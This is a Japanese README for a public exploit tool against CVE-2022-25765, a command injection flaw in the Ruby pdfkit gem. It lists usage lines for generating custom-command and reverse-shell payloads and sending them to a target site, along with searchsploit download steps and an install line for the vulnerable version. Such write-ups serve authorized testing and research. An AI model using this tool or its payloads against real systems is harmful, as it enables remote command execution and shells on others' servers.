
CVE-2022-25765 (pdfkit) のエクスプロイト - コマンドインジェクション

このリポジトリが気に入りましたか? ⭐を付けてください!
教育および許可されたセキュリティ研究目的のみに使用してください。
@UNICORDev (@NicPWNs と @Dev-Yeoj 作)
pdfkit パッケージ(0.0.0以降)は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。
Ruby gem pdfkit は、ウェブサイトや HTML を PDF ドキュメントに変換するためによく使用されます。このソフトウェアの脆弱なバージョン(< 0.8.7.2)では、特別に細工されたコマンドを含む URL が渡されると、そのコマンドが実行されます。このエクスプロイトは、実行可能な URL を生成するか、pdfkit が動作している脆弱なウェブサイトにそれらを送信します。
python3 exploit-CVE-2022–25765.py -c <command>
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -h
-c カスタムコマンドモード。カスタムペイロードを生成するためのコマンドを指定します。
-s リバースシェルモード。リバースシェルペイロードを生成するためのローカルIPとポートを指定します。
-w 脆弱なpdfkitが動作しているウェブサイトのURL。(オプション)
-p 脆弱なpdfkitが動作しているウェブサイト上のPOSTパラメータ。(オプション)
-h このヘルプメニューを表示します。
GitHubからexploit-CVE-2022-25765.pyをダウンロード
ExploitDBからexploit-CVE-2022-25765.pyをダウンロード
searchsploit -u
searchsploit -m 51293


pdfkit バージョン 0.8.6
pdfkit バージョン < 0.8.7.2
gem install pdfkit -v 0.8.6